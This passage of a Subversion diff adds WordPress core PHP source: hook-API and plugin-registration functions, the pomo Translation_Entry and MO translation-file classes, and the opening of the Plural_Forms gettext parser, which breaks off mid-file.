+ * @return int The number of times action hook $tag is fired.
+ */
+function did_action($tag) {
+	global $wp_actions;
+
+	if ( ! isset( $wp_actions[ $tag ] ) )
+		return 0;
+
+	return $wp_actions[$tag];
+}
+
+/**
+ * Execute functions hooked on a specific action hook, specifying arguments in an array.
+ *
+ * @since 2.1.0
+ *
+ * @see do_action() This function is identical, but the arguments passed to the
+ *                  functions hooked to $tag< are supplied using an array.
+ * @global array $wp_filter         Stores all of the filters
+ * @global array $wp_actions        Increments the amount of times action was triggered.
+ * @global array $wp_current_filter Stores the list of current filters with the current one last
+ *
+ * @param string $tag  The name of the action to be executed.
+ * @param array  $args The arguments supplied to the functions hooked to `$tag`.
+ */
+function do_action_ref_array($tag, $args) {
+	global $wp_filter, $wp_actions, $wp_current_filter;
+
+	if ( ! isset($wp_actions[$tag]) )
+		$wp_actions[$tag] = 1;
+	else
+		++$wp_actions[$tag];
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$wp_current_filter[] = $tag;
+		$all_args = func_get_args();
+		_wp_call_all_hook($all_args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		if ( isset($wp_filter['all']) )
+			array_pop($wp_current_filter);
+		return;
+	}
+
+	if ( !isset($wp_filter['all']) )
+		$wp_current_filter[] = $tag;
+
+	$wp_filter[ $tag ]->do_action( $args );
+
+	array_pop($wp_current_filter);
+}
+
+/**
+ * Check if any action has been registered for a hook.
+ *
+ * @since 2.5.0
+ *
+ * @see has_filter() has_action() is an alias of has_filter().
+ *
+ * @param string        $tag               The name of the action hook.
+ * @param callable|bool $function_to_check Optional. The callback to check for. Default false.
+ * @return bool|int If $function_to_check is omitted, returns boolean for whether the hook has
+ *                  anything registered. When checking a specific function, the priority of that
+ *                  hook is returned, or false if the function is not attached. When using the
+ *                  $function_to_check argument, this function may return a non-boolean value
+ *                  that evaluates to false (e.g.) 0, so use the === operator for testing the
+ *                  return value.
+ */
+function has_action($tag, $function_to_check = false) {
+	return has_filter($tag, $function_to_check);
+}
+
+/**
+ * Removes a function from a specified action hook.
+ *
+ * This function removes a function attached to a specified action hook. This
+ * method can be used to remove default functions attached to a specific filter
+ * hook and possibly replace them with a substitute.
+ *
+ * @since 1.2.0
+ *
+ * @param string   $tag                The action hook to which the function to be removed is hooked.
+ * @param callable $function_to_remove The name of the function which should be removed.
+ * @param int      $priority           Optional. The priority of the function. Default 10.
+ * @return bool Whether the function is removed.
+ */
+function remove_action( $tag, $function_to_remove, $priority = 10 ) {
+	return remove_filter( $tag, $function_to_remove, $priority );
+}
+
+/**
+ * Remove all of the hooks from an action.
+ *
+ * @since 2.7.0
+ *
+ * @param string   $tag      The action to remove hooks from.
+ * @param int|bool $priority The priority number to remove them from. Default false.
+ * @return true True when finished.
+ */
+function remove_all_actions($tag, $priority = false) {
+	return remove_all_filters($tag, $priority);
+}
+
+/**
+ * Fires functions attached to a deprecated filter hook.
+ *
+ * When a filter hook is deprecated, the apply_filters() call is replaced with
+ * apply_filters_deprecated(), which triggers a deprecation notice and then fires
+ * the original filter hook.
+ *
+ * Note: the value and extra arguments passed to the original apply_filters() call
+ * must be passed here to `$args` as an array. For example:
+ *
+ *     // Old filter.
+ *     return apply_filters( 'wpdocs_filter', $value, $extra_arg );
+ *
+ *     // Deprecated.
+ *     return apply_filters_deprecated( 'wpdocs_filter', array( $value, $extra_arg ), '4.9', 'wpdocs_new_filter' );
+ *
+ * @since 4.6.0
+ *
+ * @see _deprecated_hook()
+ *
+ * @param string $tag         The name of the filter hook.
+ * @param array  $args        Array of additional function arguments to be passed to apply_filters().
+ * @param string $version     The version of WordPress that deprecated the hook.
+ * @param string $replacement Optional. The hook that should have been used. Default false.
+ * @param string $message     Optional. A message regarding the change. Default null.
+ */
+function apply_filters_deprecated( $tag, $args, $version, $replacement = false, $message = null ) {
+	if ( ! has_filter( $tag ) ) {
+		return $args[0];
+	}
+
+	_deprecated_hook( $tag, $version, $replacement, $message );
+
+	return apply_filters_ref_array( $tag, $args );
+}
+
+/**
+ * Fires functions attached to a deprecated action hook.
+ *
+ * When an action hook is deprecated, the do_action() call is replaced with
+ * do_action_deprecated(), which triggers a deprecation notice and then fires
+ * the original hook.
+ *
+ * @since 4.6.0
+ *
+ * @see _deprecated_hook()
+ *
+ * @param string $tag         The name of the action hook.
+ * @param array  $args        Array of additional function arguments to be passed to do_action().
+ * @param string $version     The version of WordPress that deprecated the hook.
+ * @param string $replacement Optional. The hook that should have been used.
+ * @param string $message     Optional. A message regarding the change.
+ */
+function do_action_deprecated( $tag, $args, $version, $replacement = false, $message = null ) {
+	if ( ! has_action( $tag ) ) {
+		return;
+	}
+
+	_deprecated_hook( $tag, $version, $replacement, $message );
+
+	do_action_ref_array( $tag, $args );
+}
+
+//
+// Functions for handling plugins.
+//
+
+/**
+ * Gets the basename of a plugin.
+ *
+ * This method extracts the name of a plugin from its filename.
+ *
+ * @since 1.5.0
+ *
+ * @global array $wp_plugin_paths
+ *
+ * @param string $file The filename of plugin.
+ * @return string The name of a plugin.
+ */
+function plugin_basename( $file ) {
+	global $wp_plugin_paths;
+
+	// $wp_plugin_paths contains normalized paths.
+	$file = wp_normalize_path( $file );
+
+	arsort( $wp_plugin_paths );
+	foreach ( $wp_plugin_paths as $dir => $realdir ) {
+		if ( strpos( $file, $realdir ) === 0 ) {
+			$file = $dir . substr( $file, strlen( $realdir ) );
+		}
+	}
+
+	$plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );
+	$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );
+
+	$file = preg_replace('#^' . preg_quote($plugin_dir, '#') . '/|^' . preg_quote($mu_plugin_dir, '#') . '/#','',$file); // get relative path from plugins dir
+	$file = trim($file, '/');
+	return $file;
+}
+
+/**
+ * Register a plugin's real path.
+ *
+ * This is used in plugin_basename() to resolve symlinked paths.
+ *
+ * @since 3.9.0
+ *
+ * @see wp_normalize_path()
+ *
+ * @global array $wp_plugin_paths
+ *
+ * @staticvar string $wp_plugin_path
+ * @staticvar string $wpmu_plugin_path
+ *
+ * @param string $file Known path to the file.
+ * @return bool Whether the path was able to be registered.
+ */
+function wp_register_plugin_realpath( $file ) {
+	global $wp_plugin_paths;
+
+	// Normalize, but store as static to avoid recalculation of a constant value
+	static $wp_plugin_path = null, $wpmu_plugin_path = null;
+	if ( ! isset( $wp_plugin_path ) ) {
+		$wp_plugin_path   = wp_normalize_path( WP_PLUGIN_DIR   );
+		$wpmu_plugin_path = wp_normalize_path( WPMU_PLUGIN_DIR );
+	}
+
+	$plugin_path = wp_normalize_path( dirname( $file ) );
+	$plugin_realpath = wp_normalize_path( dirname( realpath( $file ) ) );
+
+	if ( $plugin_path === $wp_plugin_path || $plugin_path === $wpmu_plugin_path ) {
+		return false;
+	}
+
+	if ( $plugin_path !== $plugin_realpath ) {
+		$wp_plugin_paths[ $plugin_path ] = $plugin_realpath;
+	}
+
+	return true;
+}
+
+/**
+ * Get the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in.
+ *
+ * @since 2.8.0
+ *
+ * @param string $file The filename of the plugin (__FILE__).
+ * @return string the filesystem path of the directory that contains the plugin.
+ */
+function plugin_dir_path( $file ) {
+	return trailingslashit( dirname( $file ) );
+}
+
+/**
+ * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in.
+ *
+ * @since 2.8.0
+ *
+ * @param string $file The filename of the plugin (__FILE__).
+ * @return string the URL path of the directory that contains the plugin.
+ */
+function plugin_dir_url( $file ) {
+	return trailingslashit( plugins_url( '', $file ) );
+}
+
+/**
+ * Set the activation hook for a plugin.
+ *
+ * When a plugin is activated, the action 'activate_PLUGINNAME' hook is
+ * called. In the name of this hook, PLUGINNAME is replaced with the name
+ * of the plugin, including the optional subdirectory. For example, when the
+ * plugin is located in wp-content/plugins/sampleplugin/sample.php, then
+ * the name of this hook will become 'activate_sampleplugin/sample.php'.
+ *
+ * When the plugin consists of only one file and is (as by default) located at
+ * wp-content/plugins/sample.php the name of this hook will be
+ * 'activate_sample.php'.
+ *
+ * @since 2.0.0
+ *
+ * @param string   $file     The filename of the plugin including the path.
+ * @param callable $function The function hooked to the 'activate_PLUGIN' action.
+ */
+function register_activation_hook($file, $function) {
+	$file = plugin_basename($file);
+	add_action('activate_' . $file, $function);
+}
+
+/**
+ * Set the deactivation hook for a plugin.
+ *
+ * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is
+ * called. In the name of this hook, PLUGINNAME is replaced with the name
+ * of the plugin, including the optional subdirectory. For example, when the
+ * plugin is located in wp-content/plugins/sampleplugin/sample.php, then
+ * the name of this hook will become 'deactivate_sampleplugin/sample.php'.
+ *
+ * When the plugin consists of only one file and is (as by default) located at
+ * wp-content/plugins/sample.php the name of this hook will be
+ * 'deactivate_sample.php'.
+ *
+ * @since 2.0.0
+ *
+ * @param string   $file     The filename of the plugin including the path.
+ * @param callable $function The function hooked to the 'deactivate_PLUGIN' action.
+ */
+function register_deactivation_hook($file, $function) {
+	$file = plugin_basename($file);
+	add_action('deactivate_' . $file, $function);
+}
+
+/**
+ * Set the uninstallation hook for a plugin.
+ *
+ * Registers the uninstall hook that will be called when the user clicks on the
+ * uninstall link that calls for the plugin to uninstall itself. The link won't
+ * be active unless the plugin hooks into the action.
+ *
+ * The plugin should not run arbitrary code outside of functions, when
+ * registering the uninstall hook. In order to run using the hook, the plugin
+ * will have to be included, which means that any code laying outside of a
+ * function will be run during the uninstallation process. The plugin should not
+ * hinder the uninstallation process.
+ *
+ * If the plugin can not be written without running code within the plugin, then
+ * the plugin should create a file named 'uninstall.php' in the base plugin
+ * folder. This file will be called, if it exists, during the uninstallation process
+ * bypassing the uninstall hook. The plugin, when using the 'uninstall.php'
+ * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before
+ * executing.
+ *
+ * @since 2.7.0
+ *
+ * @param string   $file     Plugin file.
+ * @param callable $callback The callback to run when the hook is called. Must be
+ *                           a static method or function.
+ */
+function register_uninstall_hook( $file, $callback ) {
+	if ( is_array( $callback ) && is_object( $callback[0] ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Only a static class method or function can be used in an uninstall hook.' ), '3.1.0' );
+		return;
+	}
+
+	/*
+	 * The option should not be autoloaded, because it is not needed in most
+	 * cases. Emphasis should be put on using the 'uninstall.php' way of
+	 * uninstalling the plugin.
+	 */
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+	$uninstallable_plugins[plugin_basename($file)] = $callback;
+
+	update_option('uninstall_plugins', $uninstallable_plugins);
+}
+
+/**
+ * Call the 'all' hook, which will process the functions hooked into it.
+ *
+ * The 'all' hook passes all of the arguments or parameters that were used for
+ * the hook, which this function was called for.
+ *
+ * This function is used internally for apply_filters(), do_action(), and
+ * do_action_ref_array() and is not meant to be used from outside those
+ * functions. This function does not check for the existence of the all hook, so
+ * it will fail unless the all hook exists prior to this function call.
+ *
+ * @since 2.5.0
+ * @access private
+ *
+ * @global array $wp_filter  Stores all of the filters
+ *
+ * @param array $args The collected parameters from the hook that was called.
+ */
+function _wp_call_all_hook($args) {
+	global $wp_filter;
+
+	$wp_filter['all']->do_all_hook( $args );
+}
+
+/**
+ * Build Unique ID for storage and retrieval.
+ *
+ * The old way to serialize the callback caused issues and this function is the
+ * solution. It works by checking for objects and creating a new property in
+ * the class to keep track of the object and new objects of the same class that
+ * need to be added.
+ *
+ * It also allows for the removal of actions and filters for objects after they
+ * change class properties. It is possible to include the property $wp_filter_id
+ * in your class and set it to "null" or a number to bypass the workaround.
+ * However this will prevent you from adding new classes and any new classes
+ * will overwrite the previous hook by the same class.
+ *
+ * Functions and static method callbacks are just returned as strings and
+ * shouldn't have any speed penalty.
+ *
+ * @link https://core.trac.wordpress.org/ticket/3875
+ *
+ * @since 2.2.3
+ * @access private
+ *
+ * @global array $wp_filter Storage for all of the filters and actions.
+ * @staticvar int $filter_id_count
+ *
+ * @param string   $tag      Used in counting how many hooks were applied
+ * @param callable $function Used for creating unique id
+ * @param int|bool $priority Used in counting how many hooks were applied. If === false
+ *                           and $function is an object reference, we return the unique
+ *                           id only if it already has one, false otherwise.
+ * @return string|false Unique ID for usage as array key or false if $priority === false
+ *                      and $function is an object reference, and it does not already have
+ *                      a unique id.
+ */
+function _wp_filter_build_unique_id($tag, $function, $priority) {
+	global $wp_filter;
+	static $filter_id_count = 0;
+
+	if ( is_string($function) )
+		return $function;
+
+	if ( is_object($function) ) {
+		// Closures are currently implemented as objects
+		$function = array( $function, '' );
+	} else {
+		$function = (array) $function;
+	}
+
+	if (is_object($function[0]) ) {
+		// Object Class Calling
+		if ( function_exists('spl_object_hash') ) {
+			return spl_object_hash($function[0]) . $function[1];
+		} else {
+			$obj_idx = get_class($function[0]).$function[1];
+			if ( !isset($function[0]->wp_filter_id) ) {
+				if ( false === $priority )
+					return false;
+				$obj_idx .= isset($wp_filter[$tag][$priority]) ? count((array)$wp_filter[$tag][$priority]) : $filter_id_count;
+				$function[0]->wp_filter_id = $filter_id_count;
+				++$filter_id_count;
+			} else {
+				$obj_idx .= $function[0]->wp_filter_id;
+			}
+
+			return $obj_idx;
+		}
+	} elseif ( is_string( $function[0] ) ) {
+		// Static Calling
+		return $function[0] . '::' . $function[1];
+	}
+}
Index: /tags/5.0.20/src/wp-includes/pomo/entry.php
===================================================================
--- /tags/5.0.20/src/wp-includes/pomo/entry.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/pomo/entry.php	(revision 56912)
@@ -0,0 +1,93 @@
+<?php
+/**
+ * Contains Translation_Entry class
+ *
+ * @version $Id: entry.php 1157 2015-11-20 04:30:11Z dd32 $
+ * @package pomo
+ * @subpackage entry
+ */
+
+if ( ! class_exists( 'Translation_Entry', false ) ):
+/**
+ * Translation_Entry class encapsulates a translatable string
+ */
+class Translation_Entry {
+
+	/**
+	 * Whether the entry contains a string and its plural form, default is false
+	 *
+	 * @var boolean
+	 */
+	var $is_plural = false;
+
+	var $context = null;
+	var $singular = null;
+	var $plural = null;
+	var $translations = array();
+	var $translator_comments = '';
+	var $extracted_comments = '';
+	var $references = array();
+	var $flags = array();
+
+	/**
+	 * @param array $args associative array, support following keys:
+	 * 	- singular (string) -- the string to translate, if omitted and empty entry will be created
+	 * 	- plural (string) -- the plural form of the string, setting this will set {@link $is_plural} to true
+	 * 	- translations (array) -- translations of the string and possibly -- its plural forms
+	 * 	- context (string) -- a string differentiating two equal strings used in different contexts
+	 * 	- translator_comments (string) -- comments left by translators
+	 * 	- extracted_comments (string) -- comments left by developers
+	 * 	- references (array) -- places in the code this strings is used, in relative_to_root_path/file.php:linenum form
+	 * 	- flags (array) -- flags like php-format
+	 */
+	function __construct( $args = array() ) {
+		// if no singular -- empty object
+		if (!isset($args['singular'])) {
+			return;
+		}
+		// get member variable values from args hash
+		foreach ($args as $varname => $value) {
+			$this->$varname = $value;
+		}
+		if (isset($args['plural']) && $args['plural']) $this->is_plural = true;
+		if (!is_array($this->translations)) $this->translations = array();
+		if (!is_array($this->references)) $this->references = array();
+		if (!is_array($this->flags)) $this->flags = array();
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Translation_Entry( $args = array() ) {
+		self::__construct( $args );
+	}
+
+	/**
+	 * Generates a unique key for this entry
+	 *
+	 * @return string|bool the key or false if the entry is empty
+	 */
+	function key() {
+		if ( null === $this->singular || '' === $this->singular ) return false;
+
+		// Prepend context and EOT, like in MO files
+		$key = !$this->context? $this->singular : $this->context.chr(4).$this->singular;
+		// Standardize on \n line endings
+		$key = str_replace( array( "\r\n", "\r" ), "\n", $key );
+
+		return $key;
+	}
+
+	/**
+	 * @param object $other
+	 */
+	function merge_with(&$other) {
+		$this->flags = array_unique( array_merge( $this->flags, $other->flags ) );
+		$this->references = array_unique( array_merge( $this->references, $other->references ) );
+		if ( $this->extracted_comments != $other->extracted_comments ) {
+			$this->extracted_comments .= $other->extracted_comments;
+		}
+
+	}
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/pomo/mo.php
===================================================================
--- /tags/5.0.20/src/wp-includes/pomo/mo.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/pomo/mo.php	(revision 56912)
@@ -0,0 +1,323 @@
+<?php
+/**
+ * Class for working with MO files
+ *
+ * @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $
+ * @package pomo
+ * @subpackage mo
+ */
+
+require_once dirname(__FILE__) . '/translations.php';
+require_once dirname(__FILE__) . '/streams.php';
+
+if ( ! class_exists( 'MO', false ) ):
+class MO extends Gettext_Translations {
+
+	var $_nplurals = 2;
+
+	/**
+	 * Loaded MO file.
+	 *
+	 * @var string
+	 */
+	private $filename = '';
+
+	/**
+	 * Returns the loaded MO file.
+	 *
+	 * @return string The loaded MO file.
+	 */
+	public function get_filename() {
+		return $this->filename;
+	}
+
+	/**
+	 * Fills up with the entries from MO file $filename
+	 *
+	 * @param string $filename MO file to load
+	 */
+	function import_from_file($filename) {
+		$reader = new POMO_FileReader( $filename );
+
+		if ( ! $reader->is_resource() ) {
+			return false;
+		}
+
+		$this->filename = (string) $filename;
+
+		return $this->import_from_reader( $reader );
+	}
+
+	/**
+	 * @param string $filename
+	 * @return bool
+	 */
+	function export_to_file($filename) {
+		$fh = fopen($filename, 'wb');
+		if ( !$fh ) return false;
+		$res = $this->export_to_file_handle( $fh );
+		fclose($fh);
+		return $res;
+	}
+
+	/**
+	 * @return string|false
+	 */
+	function export() {
+		$tmp_fh = fopen("php://temp", 'r+');
+		if ( !$tmp_fh ) return false;
+		$this->export_to_file_handle( $tmp_fh );
+		rewind( $tmp_fh );
+		return stream_get_contents( $tmp_fh );
+	}
+
+	/**
+	 * @param Translation_Entry $entry
+	 * @return bool
+	 */
+	function is_entry_good_for_export( $entry ) {
+		if ( empty( $entry->translations ) ) {
+			return false;
+		}
+
+		if ( !array_filter( $entry->translations ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * @param resource $fh
+	 * @return true
+	 */
+	function export_to_file_handle($fh) {
+		$entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) );
+		ksort($entries);
+		$magic = 0x950412de;
+		$revision = 0;
+		$total = count($entries) + 1; // all the headers are one entry
+		$originals_lenghts_addr = 28;
+		$translations_lenghts_addr = $originals_lenghts_addr + 8 * $total;
+		$size_of_hash = 0;
+		$hash_addr = $translations_lenghts_addr + 8 * $total;
+		$current_addr = $hash_addr;
+		fwrite($fh, pack('V*', $magic, $revision, $total, $originals_lenghts_addr,
+			$translations_lenghts_addr, $size_of_hash, $hash_addr));
+		fseek($fh, $originals_lenghts_addr);
+
+		// headers' msgid is an empty string
+		fwrite($fh, pack('VV', 0, $current_addr));
+		$current_addr++;
+		$originals_table = chr(0);
+
+		$reader = new POMO_Reader();
+
+		foreach($entries as $entry) {
+			$originals_table .= $this->export_original($entry) . chr(0);
+			$length = $reader->strlen($this->export_original($entry));
+			fwrite($fh, pack('VV', $length, $current_addr));
+			$current_addr += $length + 1; // account for the NULL byte after
+		}
+
+		$exported_headers = $this->export_headers();
+		fwrite($fh, pack('VV', $reader->strlen($exported_headers), $current_addr));
+		$current_addr += strlen($exported_headers) + 1;
+		$translations_table = $exported_headers . chr(0);
+
+		foreach($entries as $entry) {
+			$translations_table .= $this->export_translations($entry) . chr(0);
+			$length = $reader->strlen($this->export_translations($entry));
+			fwrite($fh, pack('VV', $length, $current_addr));
+			$current_addr += $length + 1;
+		}
+
+		fwrite($fh, $originals_table);
+		fwrite($fh, $translations_table);
+		return true;
+	}
+
+	/**
+	 * @param Translation_Entry $entry
+	 * @return string
+	 */
+	function export_original($entry) {
+		//TODO: warnings for control characters
+		$exported = $entry->singular;
+		if ($entry->is_plural) $exported .= chr(0).$entry->plural;
+		if ($entry->context) $exported = $entry->context . chr(4) . $exported;
+		return $exported;
+	}
+
+	/**
+	 * @param Translation_Entry $entry
+	 * @return string
+	 */
+	function export_translations($entry) {
+		//TODO: warnings for control characters
+		return $entry->is_plural ? implode(chr(0), $entry->translations) : $entry->translations[0];
+	}
+
+	/**
+	 * @return string
+	 */
+	function export_headers() {
+		$exported = '';
+		foreach($this->headers as $header => $value) {
+			$exported.= "$header: $value\n";
+		}
+		return $exported;
+	}
+
+	/**
+	 * @param int $magic
+	 * @return string|false
+	 */
+	function get_byteorder($magic) {
+		// The magic is 0x950412de
+
+		// bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
+		$magic_little = (int) - 1794895138;
+		$magic_little_64 = (int) 2500072158;
+		// 0xde120495
+		$magic_big = ((int) - 569244523) & 0xFFFFFFFF;
+		if ($magic_little == $magic || $magic_little_64 == $magic) {
+			return 'little';
+		} else if ($magic_big == $magic) {
+			return 'big';
+		} else {
+			return false;
+		}
+	}
+
+	/**
+	 * @param POMO_FileReader $reader
+	 */
+	function import_from_reader($reader) {
+		$endian_string = MO::get_byteorder($reader->readint32());
+		if (false === $endian_string) {
+			return false;
+		}
+		$reader->setEndian($endian_string);
+
+		$endian = ('big' == $endian_string)? 'N' : 'V';
+
+		$header = $reader->read(24);
+		if ($reader->strlen($header) != 24)
+			return false;
+
+		// parse header
+		$header = unpack("{$endian}revision/{$endian}total/{$endian}originals_lenghts_addr/{$endian}translations_lenghts_addr/{$endian}hash_length/{$endian}hash_addr", $header);
+		if (!is_array($header))
+			return false;
+
+		// support revision 0 of MO format specs, only
+		if ( $header['revision'] != 0 ) {
+			return false;
+		}
+
+		// seek to data blocks
+		$reader->seekto( $header['originals_lenghts_addr'] );
+
+		// read originals' indices
+		$originals_lengths_length = $header['translations_lenghts_addr'] - $header['originals_lenghts_addr'];
+		if ( $originals_lengths_length != $header['total'] * 8 ) {
+			return false;
+		}
+
+		$originals = $reader->read($originals_lengths_length);
+		if ( $reader->strlen( $originals ) != $originals_lengths_length ) {
+			return false;
+		}
+
+		// read translations' indices
+		$translations_lenghts_length = $header['hash_addr'] - $header['translations_lenghts_addr'];
+		if ( $translations_lenghts_length != $header['total'] * 8 ) {
+			return false;
+		}
+
+		$translations = $reader->read($translations_lenghts_length);
+		if ( $reader->strlen( $translations ) != $translations_lenghts_length ) {
+			return false;
+		}
+
+		// transform raw data into set of indices
+		$originals    = $reader->str_split( $originals, 8 );
+		$translations = $reader->str_split( $translations, 8 );
+
+		// skip hash table
+		$strings_addr = $header['hash_addr'] + $header['hash_length'] * 4;
+
+		$reader->seekto($strings_addr);
+
+		$strings = $reader->read_all();
+		$reader->close();
+
+		for ( $i = 0; $i < $header['total']; $i++ ) {
+			$o = unpack( "{$endian}length/{$endian}pos", $originals[$i] );
+			$t = unpack( "{$endian}length/{$endian}pos", $translations[$i] );
+			if ( !$o || !$t ) return false;
+
+			// adjust offset due to reading strings to separate space before
+			$o['pos'] -= $strings_addr;
+			$t['pos'] -= $strings_addr;
+
+			$original    = $reader->substr( $strings, $o['pos'], $o['length'] );
+			$translation = $reader->substr( $strings, $t['pos'], $t['length'] );
+
+			if ('' === $original) {
+				$this->set_headers($this->make_headers($translation));
+			} else {
+				$entry = &$this->make_entry($original, $translation);
+				$this->entries[$entry->key()] = &$entry;
+			}
+		}
+		return true;
+	}
+
+	/**
+	 * Build a Translation_Entry from original string and translation strings,
+	 * found in a MO file
+	 *
+	 * @static
+	 * @param string $original original string to translate from MO file. Might contain
+	 * 	0x04 as context separator or 0x00 as singular/plural separator
+	 * @param string $translation translation string from MO file. Might contain
+	 * 	0x00 as a plural translations separator
+	 */
+	function &make_entry($original, $translation) {
+		$entry = new Translation_Entry();
+		// look for context
+		$parts = explode(chr(4), $original);
+		if (isset($parts[1])) {
+			$original = $parts[1];
+			$entry->context = $parts[0];
+		}
+		// look for plural original
+		$parts = explode(chr(0), $original);
+		$entry->singular = $parts[0];
+		if (isset($parts[1])) {
+			$entry->is_plural = true;
+			$entry->plural = $parts[1];
+		}
+		// plural translations are also separated by \0
+		$entry->translations = explode(chr(0), $translation);
+		return $entry;
+	}
+
+	/**
+	 * @param int $count
+	 * @return string
+	 */
+	function select_plural_form($count) {
+		return $this->gettext_select_plural_form($count);
+	}
+
+	/**
+	 * @return int
+	 */
+	function get_plural_forms_count() {
+		return $this->_nplurals;
+	}
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/pomo/plural-forms.php
===================================================================
--- /tags/5.0.20/src/wp-includes/pomo/plural-forms.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/pomo/plural-forms.php	(revision 56912)
@@ -0,0 +1,343 @@
+<?php
+
+/**
+ * A gettext Plural-Forms parser.
+ *
+ * @since 4.9.0
+ */
+class Plural_Forms {
+	/**
+	 * Operator characters.
+	 *
+	 * @since 4.9.0
+	 * @var string OP_CHARS Operator characters.
+	 */
+	const OP_CHARS = '|&><!=%?:';
+
+	/**
+	 * Valid number characters.
+	 *
+	 * @since 4.9.0
+	 * @var string NUM_CHARS Valid number characters.
+	 */
+	const NUM_CHARS = '0123456789';
+
+	/**
+	 * Operator precedence.
+	 *
+	 * Operator precedence from highest to lowest. Higher numbers indicate
+	 * higher precedence, and are executed first.
+	 *
+	 * @see https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence
+	 *
+	 * @since 4.9.0
+	 * @var array $op_precedence Operator precedence from highest to lowest.
+	 */
+	protected static $op_precedence = array(
+		'%' => 6,
+
+		'<' => 5,
+		'<=' => 5,
+		'>' => 5,
+		'>=' => 5,
+
+		'==' => 4,
+		'!=' => 4,
+
+		'&&' => 3,
+
+		'||' => 2,
+
+		'?:' => 1,
+		'?' => 1,
+
+		'(' => 0,
+		')' => 0,
+	);
+
+	/**
+	 * Tokens generated from the string.
+	 *
+	 * @since 4.9.0
+	 * @var array $tokens List of tokens.
+	 */
+	protected $tokens = array();
+
+	/**
+	 * Cache for repeated calls to the function.
+	 *
+	 * @since 4.9.0
+	 * @var array $cache Map of $n => $result
+	 */
+	protected $cache = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $str Plural function (just the bit after `plural=` from Plural-Forms)
+	 */
+	public function __construct( $str ) {
+		$this->parse( $str );
+	}
+
+	/**
+	 * Parse a Plural-Forms string into tokens.
+	 *
+	 * Uses the shunting-yard algorithm to convert the string to Reverse Polish
+	 * Notation tokens.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $str String to parse.
+	 */
+	protected function parse( $str ) {
+		$pos = 0;
+		$len = strlen( $str );
+
+		// Convert infix operators to postfix using the shunting-yard algorithm.
+		$output = array();
+		$stack = array();
+		while ( $pos < $len ) {
+			$next = substr( $str, $pos, 1 );
+
+			switch ( $next ) {
+				// Ignore whitespace
+				case ' ':
+				case "\t":
+					$pos++;
+					break;
+
+				// Variable (n)
+				case 'n':
+					$output[] = array( 'var' );
+					$pos++;
+					break;
+
+				// Parentheses
+				case '(':
+					$stack[] = $next;
+					$pos++;
+					break;
+
+				case ')':
+					$found = false;
+					while ( ! empty( $stack ) ) {
+						$o2 = $stack[ count( $stack ) - 1 ];
+						if ( $o2 !== '(' ) {
+							$output[] = array( 'op', array_pop( $stack ) );
+							continue;
+						}
+
+						// Discard open paren.
+						array_pop( $stack );
+						$found = true;
+						break;
+					}
+
+					if ( ! $found ) {
+						throw new Exception( 'Mismatched parentheses' );
+					}
+
+					$pos++;
+					break;
+
+				// Operators
+				case '|':
+				case '&':
+				case '>':
+				case '<':
+				case '!':
+				case '=':
+				case '%':
+				case '?':
+					$end_operator = strspn( $str, self::OP_CHARS, $pos );
+					$operator = substr( $str, $pos, $end_operator );
+					if ( ! array_key_exists( $operator, self::$op_precedence ) ) {
+						throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) );
+					}
+
+					while ( ! empty( $stack ) ) {
+						$o2 = $stack[ count( $stack ) - 1 ];
+
+						// Ternary is right-associative in C
+						if ( $operator === '?:' || $operator === '?' ) {
+							if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) {
+								break;
+							}
+						} elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) {
+							break;
+						}
+
+						$output[] = array( 'op', array_pop( $stack ) );
+					}
+					$stack[] = $operator;
+
+					$pos += $end_operator;
+					break;
+
+				// Ternary "else"
+				case ':':
+					$found = false;
+					$s_pos = count( $stack ) - 1;
+					while ( $s_pos >= 0 ) {
+						$o2 = $stack[ $s_pos ];
+						if ( $o2 !== '?' ) {
+							$output[] = array( 'op', array_pop( $stack ) );
+							$s_pos--;
+							continue;
+						}
+
+						// Replace.
+						$stack[ $s_pos ] = '?:';
+						$found = true;
+						break;
+					}
+
+					if ( ! $found ) {
+						throw new Exception( 'Missing starting "?" ternary operator' );
+					}
+					$pos++;
+					break;
+
+				// Default - number or invalid
+				default:
+					if ( $next >= '0' && $next <= '9' ) {
+						$span = strspn( $str, self::NUM_CHARS, $pos );
+						$output[] = array( 'value', intval( substr( $str, $pos, $span ) ) );
+						$pos += $span;
+						break;
+					}
+
+					throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) );
+			}
+		}
+
+		while ( ! empty( $stack ) ) {
+			$o2 = array_pop( $stack );
+			if ( $o2 === '(' || $o2 === ')' ) {
+				throw new Exception( 'Mismatched parentheses' );
+			}
+
+			$output[] = array( 'op', $o2 );
+		}
+
+		$this->tokens = $output;
+	}
+
+	/**
+	 * Get the plural form for a number.
+	 *
+	 * Caches the value for repeated calls.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param int $num Number to get plural form for.
+	 * @return int Plural form value.
+	 */
+	public function get( $num ) {
+		if ( isset( $this->cache[ $num ] ) ) {
+			return $this->cache[ $num ];
+		}
+		return $this->cache[ $num ] = $this->execute( $num );
+	}
+
+	/**
+	 * Execute the plural form function.
+	 *
